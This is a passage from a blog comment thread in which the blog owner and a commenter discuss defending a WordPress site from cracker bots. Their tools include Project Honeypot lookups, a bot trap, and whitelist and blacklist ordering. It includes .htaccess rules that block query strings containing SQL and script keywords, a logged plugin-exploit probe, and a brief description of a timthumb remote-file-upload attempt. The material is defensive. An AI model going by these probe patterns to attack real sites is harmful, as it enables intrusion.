    Types of things “going on” include honeypot sometimes not returning threat they have on file. I thought it was me, but then I saw complaints by developers at project honeypot. This is one of the reasons I need the ‘a honey_trap_connect list’. But it would be a good idea even if the project honeypot weren’t delivering some false negatives. Quite a few of the “attempt log in bots” and “timthumb.php-bots” look clean to project honeypot, spamforum etc.. But anything hunting around for timthumb.php is theme directories that don’t exist and have never existed is a filthy beast up to no-good.

    Anyway, I’m mostly done implementing this at the abbandoned knitting blog. That has very little real traffic, and I don’t mind interrupting that with 403’s “service unavailables” etc. when I screw around. (Yeah… I should do everything on some development site. Not going to…)

  77. Oh– I should add. When WordPress sends 404 (page not founds) they show up as 200 in my server logs.

    Some web tools available to inspect online say they see 404–which is good. But my server logs say 200. This is a bit of a PITA because one efficient way to find ‘bots that are sniffing for vulnerabilities is to look at the requests that resulted in 404s. Also, this ‘feature’ affects how well any mod_qos strategy might work. (This is party of the reason why I’m not bugging Kan to help me figure that out yet. It won’t be much use if the ‘bad bots attacks just send lots of 200s!)

    Also, the 403’s ZBblock shows show up as 200s on my server logs. The 403’s “myhoneytrap.php” sends show up as 403s.

  78. It sounds like you have a lot of work cut out for you, but things are going fairly well so far. That’s good to hear. From what I can see, your approach seems sound, though I’d change your 6) so your blacklist was checked before your whitelist. I’d imagine you’ll get far more hits from people on your blacklist than on your whitelist, so it is more efficient my way. The only reason I could see not to do this is if there is some chance of a person being on both lists at the same time, as that is the only way it would change how things functioned for the user.

    Anyway, I mostly avoid using third-party solutions because of problems like the ones you discuss. If I make the solutions myself, I know they’ll work how I want them to work, so there are no surprises. I absolutely hate trying to debug things when the problem is with something I cannot control. I know there are plenty of upsides to using third-party solutions, but I cringe every time I have to do it. I can write PHP scripts to handle most anything I’d need for access control, but make WordPress work the way I think it ought to work? Not a chance.

    By the way, I think testing your solutions on an actual blog of yours is better than doing it on a development site. In my experience, the more realistic your setting, the better your decisions will turn out. Getting something to work “in the lab” can be very different from getting it to work “in the real world.”

  79. The only reason I could see not to do this is if there is some chance of a person being on both lists at the same time, as that is the only way it would change how things functioned for the user.

    It could happen since I can’t expect to think through everything perfectly and also because the cracker/spammers take out new accounts with some frequency, possibly using an IP a real visitors uses.
    That’s why I’m including a method for humans to get themselves out of the bann lists I create with my trapfile.

    The main reason for the current order is I imagine at some point, I might send less obviously bad requests through the trap. But of course, I can use your order and swap later. 🙂

  80. Fair enough. I doubt there would be any noticeable difference anyway, but when you’ve had as many projects expand far beyond your intended scope as I have, optimizing things becomes a habit.

  81. Brandon–
    Optimizing is always good. 🙂

    I’ve been fiddling with the order based on various bits of logic (and to some extent, readability. I find I need to consider maintainability downstream and not fragmenting things helps me.)

    1) Look at my ban list. If in banned list send 403 with exit message that tells person how to get off banned list.

    2) Look at white list. If in white list, send nice appropriate message

    3) If not in white list, start doing lots of stuff: checking honey pot, figure out threat, figure out if they are a search bot, create message email myself, add to hit list, add to ban list as appropriate. Send 403 with appropriate exit message.

    This makes it easy to avoid putting white listed people on the banned list, but also avoid wasting time if the bot is just flat out banned.

    Of course, I’d overlooked something in the first go and managed to ban the google bot for 5 minutes. I’d only banned them from the ‘trap’ and logging in. Still, since I expect I’ll eventually be extending coverage, I realized I needed to detect if they were search engines. (This is easy. I just wasn’t responding correctly if Honeypot told me the “type” was 0. In which case the third octet is not the threat but an identifier. So, I took googles identifier of ‘5’ to be the threat level and banned it’s ass! Whoops!)

  82. I don’t know. Banning search bots would probably reduce your server load by a fair amount in the long run…

  83. Brandon

    Banning search bots would probably reduce your server load by a fair amount in the long run…

    True….. 🙂

    My approach to search bots is to put a time delay directive in robots.txt. Some obey it; some don’t.

    Reading the notes in ZBBlock is funny. He’s avoided actually ‘cussing. But you can definitely detect intense dislike for some of the chinese ‘search’ bots and lots of the badly behaved seo bots. (Having looked at my server logs, I seriously don’t like that baidu spider.)

  84. Well…. fiddling at the test blog, I discovered the ‘protection’ for query string exploits interferes with authors changing their passwords. So, I edited the last one to:
    RewriteCond %{QUERY_STRING} ^.*(execute|exec|sp_executesql|request|select|insert|union|declare|drop|delete|create|alter|order|char|cast|convert|meta|script|truncate).* [NC]

    But then, I added:
    RewriteCond %{REQUEST_URI} !^(.*)(/wp-admin|/wp-login.php) [NC]
    RewriteCond %{QUERY_STRING} ^.*(update|set).* [NC]
    RewriteRule ^(.*)$ - [F,L]

    Those two things are protected in other ways anyway.

    Brandon– should I add a trailing slash to /wp-admin/? And an $ after wp-login.php? I want to have the fewest possible number of exceptions.

  85. lucia, I actually grumbled upon reading your last comment. I hate that I always see people start string comparisons with ^.* when there is no reason to. It’s incredible how common this pointless addition is. Don’t take my frustration as a criticism of you, but GYAH! If you want to search for 3 in a string, you search for 3. You don’t search for things like ^.*3.* (it’s hard to clearly punctuate a sentence when the last thing in it is a string with a period in it).

    If you search by 3, the server will look for any string with 3 in it. If you search for ^.*3.* the server will look for any string with 3 in it, that also has as any number (including 0) of characters before or after the 3. The result is exactly the same. One way just has a lot of meaningless fluff in it.

    That pet peeve aside, there’s another matter of optimization in your first line. In your string comparison, you have:

    execute|exec|sp_executesql

    When checking a string for “exec,” you will necessarily find any instances of “execute” and “sp_executesql.” Because of this, there is no reason to check for all three.

    As for your questions, my answers would be yes and possibly. Adding the forward slash for your first question makes the comparison more restrictive, which is what you want for your exceptions. Adding an anchor for your second question is also a good thing, as long as you know the URI is not going to have anything after the .php. The primary thing to consider is PHP generally passes variables by placing a ? after the base URI, then listing variable assignments. This means URIs for PHP files will often not end in .php. If that isn’t an issue in this case, add the anchor. Otherwise, leave it off.

  86. I’ll post how I would modify the code from your last comment for optimization purposes. The first line would become:

    RewriteCond %{QUERY_STRING} (exec|drop|char|cast|meta|alter|order|union|select|insert|declare|delete|create|request|convert|script|truncate) [NC]

    The first thing to note Is I removed the pointless fluff at the beginning and end of this line. The next thing to note is I removed the two redundant strings I highlighted above. Finally, I rearranged the strings so the shortest ones are processed first. As soon as a match is found, the processing stops, so it makes sense to do the quickest checks first.

    There is a caveat and a minor aside for the last modification. The caveat is my ordering is based upon the idea each of the strings being checked is equally likely to appear. If some strings are more likey to appear than others, the ordering may not be optimal. The minor aside is I would actually rearrange the strings to be alphabetical as well, but that’s just because I find it more legible. Next:

    RewriteCond %{REQUEST_URI} !(/wp-admin/|/wp-login.php) [NC]
    RewriteCond %{QUERY_STRING} (update|set) [NC]
    RewriteRule .* – [F]

    You’ll note I once again removed the fluff at either end of the lines. I also removed the L, Last, toggle in the last line as it is redundant. The F toggle is Forbidden, and it inherently implies Last.

    While none of this is very significant, I was bothered by all the redundancy in those lines, so there you have it.

  87. Brandon–
    Thanks!

    I have no theory about which of (exec|drop|char|cast|meta|alter|order|union|select|insert|declare|delete|create|request|convert|script|truncate) a cracker bot is most likely to try first.

    I’ll be going through all those query string exploits to edit out fluff. Since I’m learning by reading, then seeing by loading at the test blog, I’ll be taking out the fluff one at a time. But it is definitely more time efficient to have a clue which things might be fluff first so I know which things to do.

    I would like the .htaccess file to do what it needs to do an efficient way. Eventually, I may get some of that stuff out because I can catch the bot in “‘trap.php’, log them and then keep them from even doing innocent looking stuff. Preventing specific bots from doing innocent looking stuff is useful because it seems the strategy for cracking is often to send a ‘test’ type connection to hunt for whatever it is they think they want to find, and then after finding something that looks promising trying to do something like use timthumb.php?something=http://NastyFileTheyWantToUpload.php.

  88. That’s a pretty common strategy for bots. There is almost always some sort of screening process, whether it be what you described, the user selecting sites personally, or any number of other things. Bots are automated, which is why “script kiddies” are so dangerous despite not having any real knowledge, but any sort of “professional” wants to be efficient. Unfortunately, most of them don’t put as much effort into efficiency as you’d hope. If they did, it’d be a lot easier to handle them.

    It creates an interesting situation. If the “bad guys” were better at what they do, it’d make things better for everyone. We could actually help ourselves by helping the bad guys…

  89. Sounds like a company selling you a television, and then expecting you to get an EE degree to keep it running. Does every blog owner go through this crap?

  90. MarkB–

    Does every blog owner go through this crap?

    No. Most blogs get very, very few visitors and have very few links coming in. Very few incoming links means ‘bots don’t find you. Very few visitors means there is very little base traffic in the first place. It also means no one notices if the blog is down.

    Many bloggers solve the problem by running on a WordPress hosted site. I don’t want to do the latter because it means:
    1) Giving up betting.
    2) Having to manually moderate– Right now, I deal with trolls my way.
    3) Give up a few other things I do at my other blogs (scripts to create knitted sock patterns, and also some advertising deployed the way I want to deploy it, not the way Worpdress stuffs it into blogs.)

    Sounds like a company selling you a television, and then expecting you to get an EE degree to keep it running.

    Yes and no. Dreamhost is fine. They provide precisely the product that customers are paying for. That is: Decent hosting with some support. They don’t claim to run your site for you. They run the server.

    To make an analogy:
    If I rented an house, the owner would deal with things like keeping the roof in place.

    I wouldn’t expect or want the building owner to decide when I could have parties, how I would decide who could come to the party etc. I do that. If I start throwing parties and people start trying to crash my parties, I have to take steps to get the crashers to go away. On the other hand, I get to invite people over– to the extent they can fit.

    Getting back to the blog: I’m trying to keep the party crashers out so the invited guests can have a nice place to party.

  91. lucia, this may just be a problem on my end (my connection is terrible), but posting comments to your blog takes longer than it should. For my last comment, it took eight seconds (from the time I hit Submit to the page actually loading).

    As I said, it could be a problem on my end, but it’s the only time I have any real delays with your blog, so I thought I should let you know.

  92. Brandon–
    I have long thought posting comments takes longer than it should. I don’t know if the culprit is one of the spam plugins or not. They shouldn’t be particularly slow. But maybe akismet is.

    I’m going to be looking into this– turning plugins on and off. I’m not sure how else to go about it.

  93. The easiest way to test it would be to turn off all the plugins which might be affecting it all at once. Assuming that fixes the problem, turn them back on one at a time and see what happens.

  94. Brandon–
    That’s what I plan to do. I just don’t plan to do it right now because I’m on a roll getting my “protection” up. I’m afraid that preventing spam is more important than having comments take a long time to load. I just turned off the time out plugin. The two remaining ones are Akismet and NoSpamNX. There is also WordPress’s internal moderation for some things.

    The “protect” filter is picking up the ‘interesting’ requests. Example:
    /musings/wp-content/uploads%20%5B%E2%80%A6%5D%3C/td%3E%3Ctd%3E2010-08-02%2002:44:35%3C/td%3E%3Ctd%3E%3Cinput%20type=

    That’s seems to be trying to get something in the uploads folder (Now I need to make sure I actually want to block it!)

  95. I’m not sure what that would be trying to do. It has HTML code in it, which is a bad sign, but beyond that… Translated, it is:

    Edit: The HTML code didn’t display, and I don’t know of any quick ways to get around that. To see the translated version, use this site.

    It could be trying to use some sort of exploit, but if so, it’s not one I understand.

  96. Brandon-
    Yeah. Often ZBblock catches those but not always. That got caught because I organized my ‘bot’ trap so that I can include a snippet of code on the 404 page of my WordPress theme. The fact that my ‘bot trap catches it means ZBblock didn’t.

    Some of those are amazingly weird.

    Also, wp-content/uploads isn’t usually a location expected to hold anything exploitable. The only way it would is if someone had already cracked in and loaded something there themselves. the admin side of WordPress won’t let me upload php files from inside the admin panel of WordPress. The admin side of WordPress won’t let me upload php files from inside the admin panel of WordPress. It only lets me upload non-exploitable stuff like images and .txt files. Mind you– I can get around this with ftp. But still, bots looking for exploits usually look elsewhere. (wp-content/plugins is popular!)

  97. As much as I hate it, sometimes you just have to accept you won’t understand what people are trying to do with your site/server/whatever. As long as you can ensure whatever they’re doing doesn’t cause a problem, it’s not a big deal. And no matter how many times I say that, I still get bothered every time I don’t understand what I see in my logs.

    By the way, I just saw the e-mail you sent me some time back. I’m sorry I didn’t see it sooner, but I almost never check my spam folder (why it landed there, I don’t know).

  98. sometimes you just have to accept you won’t understand what people are trying to do with your site/server/whatever

    Agreed. In some cases, I’m just happy the my filter is catching these and flagging them. Since my bot trap is recently (and partially) deployed, I’m going in and reviewing my logs to see notice whether that IP is doing other weird things. Generally, the weird requests are associated with behavior I would characterize as “not normal blog visitor” type behavior.

    Sometimes, search engine spiders have ‘weird’ urls. I assume that comes from the spider reading a badly formatted link at someone’s blog, forum or site. I’ve organized white listing known spiders. 🙂

  99. Brandon–
    This is an exploit ‘sniff’:
    83.103.119.239, - -, [2011-11-16 (Wed) 04:09:51], "GET, xxx.xxx.com / /wp-content/plugins/zingiri-web-shop/readme.txt, HTTP/1.1", , Mozilla/3.0 (windows),hit404

    Read:
    http://secunia.com/advisories/46039/

    I’m not going to put
    Disallow: /*readme.txt
    in robots.text (Hoping that’s right.)
    And then add “readme.txt” to my list of things to htaccess direct to the bot trap!

  100. Brandon–
    By the way, I’m testing the script to catch things here:

    http://rankexploits.com/protect/

    That way people who want to discuss climate don’t have to read about things done to catch ‘bots. ‘bot catching is interesting in and of itself, but it’s entirely separate. I know it’s been a time sink and some of my readers would rather I looked at temperatures, but I did want to spend some time on that. I’m pretty happy with what it’s doing right now. I think the general script I have will be useful to people who:

    1) Want to reduce their exposure to ‘cracker bots. (A climate blogger experienced a script injection attack recently.)
    2) Want to reduce the sudden spikes in memory load. (I get this. So do a lot of bloggers with traffic.)
    3) Want to reduce spam. (There are other simpler ways to do this though.)
    4) Want to reduce vulnerability to email harvestors. (Once again, there are other simpler ways to do this.)

    It turns out some of these cracker bots have been thought out enough to do something innocent first and then attack. In my attempt to reduce load, my “sniffing out” is catching cracker bots. Oh… btw….the domain name makes sense for the test blog. 🙂

  101. Brandon–
    Another htaccess question:
    I want to 301 redirect to Bot trap all things that
    a) have referrers AND
    b) referrers contain a question mark “?” and at least one of (http: or www)

    These are always referrer spam. Always.

  102. This is an exploit ‘sniff’:

    It’s incredible just how many different exploits there are for WordPress plugins.

    I’m not going to put
    Disallow: /*readme.txt
    in robots.text (Hoping that’s right.)
    And then add “readme.txt” to my list of things to htaccess direct to the bot trap!

    That sounds right, except I assume “not” shouldn’t be in that first line?

    That way people who want to discuss climate don’t have to read about things done to catch ‘bots. ‘bot catching is interesting in and of itself, but it’s entirely separate. I know it’s been a time sink and some of my readers would rather I looked at temperatures, but I did want to spend some time on that.

    You mean there are people who don’t find this stuff more interesting than climate junk? Weirdos.

    Oh… btw….the domain name makes sense for the test blog.

    It does, though for some reason I read it as “project” instead of “protect” the first few times. I also read the theme creator’s name as “Jay Halfling.”

    Hmm… I guess that was a stupid question. I just need to forward things with ?.

    It’s always nice to figure out obvious answers for yourself. It makes asking the question slightly less embarrassing.

  103. Brandon–
    “not” should be “now”.

    On the question involving “?” I switched my first step. I have a collection of functions to do different things and deployed different ways.

    * Requests that are bots roughly 90% of the time go to the “bot trap” by htaccess. Those are things that ought never to be fufilled anyway (like trying to log in, register etc.). So, that ‘bot trap can be slow. It looks over the request, does a whole bunch of checks and logs it in various ways. One is to add the IP to a “blacklist”. Another is to just log it. (Search engines sometimes hit weird addresses. I’m checking and accumulating a search engine and author whitelist to not cause myself trouble. All this is done in the slow ‘bot trap.

    * Requests that WP is going to 404 are also treated at leasure. These are often bots– but not quite as often as non-authors trying to enter wp-admin. This is done by laying a function into the 404 theme of the blog template. (I might eventually do it another way. But for now, this gives me good easy to keep track of separation from what follows.)

    *When people request individual posts that are not 404’d, I send it through a function that checks if it’s white listed– if yes, return. Check if it’s blacklisted– if yes, return. Finally, check the referrer. I’ve decided that for now, I’m looking at the “?” mark there. (Maybe I should skip the white list check. But I’m whitelisted and I visit the blog a lot. I don’t want to spend time waiting for wordpress to investigate my referrer.)
    This will slow the load for people arriving from google a little– but mostly, it will be ok.

  104. Brandon

    It’s incredible just how many different exploits there are for WordPress plugins.

    That’s what comes of crowd sourcing. It’s easy to write a quick and dirty plugin if your functional design criterion is to have a demonstration worthy plugin. But sometimes newbies write things with functionality that is simply not safe.

    No newbie plugin writer should write a plugin that inserts stuff into a database ….
    (You get to ponder what happens when people bet at the blackboard now….)

  105. I have a collection of functions to do different things and deployed different ways.

    It sounds fine to me, though it’s worth remembering you’re interested in the load on your server, not just how quickly you can handle requests. I don’t think anything you’re doing will cause a problem with that, but it’s something to keep in mind.

    That’s what comes of crowd sourcing. It’s easy to write a quick and dirty plugin if your functional design criterion is to have a demonstration worthy plugin. But sometimes newbies write things with functionality that is simply not safe.

    I wonder how much of the problem is due to crowd sourcing and how much is due to WordPress itself. Allowing people to make extensions always introduces vulnerabilities, but the better your core system is, the less of a problem it is.

    (You get to ponder what happens when people bet at the blackboard now….)

    I have wondered about that, though I am more curious how the prize pool is distributed.

    By the way, security with databases can be a nightmare if you don’t know what you’re doing. There are so many traps to fall into, especially if different people manage different parts of the data stream (such as the database manager not handling the company website). I think my favorite example was a person who coded the HTML form on his website so as to prevent SQL injection. He thought it was great. He figured if you block the attack right at the start, you don’t have anything to worry about.

    He didn’t understand preventing something at one point only works if you can actually ensure everything flows through that point. His form was safe, but it’s fairly easy to send input to a page without using the form it gives you. Because he didn’t have anything in place to check for that, bypassing his security was a joke.

  106. Brandon–
    Yes. The resource of concern is memory– not CPU or bandwidth.

    Unfortunately, I have to admit to not entirely knowing which things draw up lots of memory and hog it. But I sort of figure apache htaccess doesn’t draw logs or memory. I figure what I don’t want to do is load one huge script containing a bajillions long functions all in one place each time I load WP without unloading the function or variables until after WP shuts down.

    What’s I don’t do is load all possible functions in one big application. I’m calling certain sets from the theme precisely to know which I will need under specified circumstances. (BTW: Things aren’t organized optimally even with this notion in mind. But the idea is the functions I need only when a 404 is called are collected together to load when I a 404 is called. The functions I need for the bot trap are called when the bot trap is called. But I don’t call all of them when it’s unnecessary.)

    That said I know I’m a bit vague on handling memoryload.

    I need to figure out if I can unload functions from memory? Mostly right now i figure getting the ‘bots to go away so one isn’t calling loads of instances of WP in parallel is useful. Serving the bot 403’s for everything they try tends to make them not come back. Giving them 301’s back to themselves -as some suggests- is useless. You feed them a 301 back to their own IP and they always come back– sort of like the Terminator.

    I think my favorite example was a person who coded the HTML form on his website so as to prevent SQL injection.

    Seems to me this has to be done by the plugin writer! I’m not sure if I check that the input for betting comes from the location where the script it– but I think I check that floats are floats, words are words and so on. (That said, now maybe I need to check again.)

    The main protections are
    1) that the special purpose mysql table can’t easily be exploited to do something else. It won’t hold values that are too long so some hacker.
    2) I do what I think is reasonable validation. (Numbers are numbers and so on.)
    3) The code is not distributed publically. I’m the only one using the script so script kiddies have practically no incentive to try to exploit the thing and if they did, they don’t have easy access to the source. (Anyone can get the source for a plugin. If not, people couldn’t use it!)

    I’m not going to pretend someone absolutely couldn’t get the source if they wanted. For all I know they can. But… well… it’s not like they are going to learn passwords to peoples paypal accounts or inject something that gets drawn out to create content at a WP blog.

    WP has security issues. But even more importantly, there are LOTS of people who want to find the exploits so they can get the opportunity to inject links into blogs distributed all over the place. My betting script doesn’t have the latter feature.

  107. That said I know I’m a bit vague on handling memoryload.

    I need to figure out if I can unload functions from memory?

    Assuming everything is structured neatly and the programs free up memory after using it properly, you should be fine as you are. The idea is a function should be called only when needed, and once they’re done running, they should free up whatever memory they were using. You control the former, and the latter should be handled automatically.

    Seems to me this has to be done by the plugin writer! I’m not sure if I check that the input for betting comes from the location where the script it– but I think I check that floats are floats, words are words and so on. (That said, now maybe I need to check again.)

    There isn’t really any good way to prevent someone from manually sending input rather than using the form you provide. You can do things like assign a value when a person opens the page, and have that as part of the input you expect, but that can still be spoofed (they just have to open a connection every time they want to try to do anything).

    The best option is just to “sanitize” the input. For that, you primarily need to make sure everything is what it should be (like you say you think you’re doing) and check strings for special characters which shouldn’t be there. If you make sure to do that with anything being passed to your database, you shouldn’t have anything to worry about.

    By the way, I’m not sure there would be much point in anyone trying to get the source you use. Most of the time, SQL injection doesn’t depend upon that. All anyone needs is to know where they can send malformed strings to. They can get that much just by viewing the HTML source code of the page they have open.

    Of course, your database doesn’t have much in the way of sensitive information, so it’s likely the worst they could do is just delete things from it.

Comments are closed.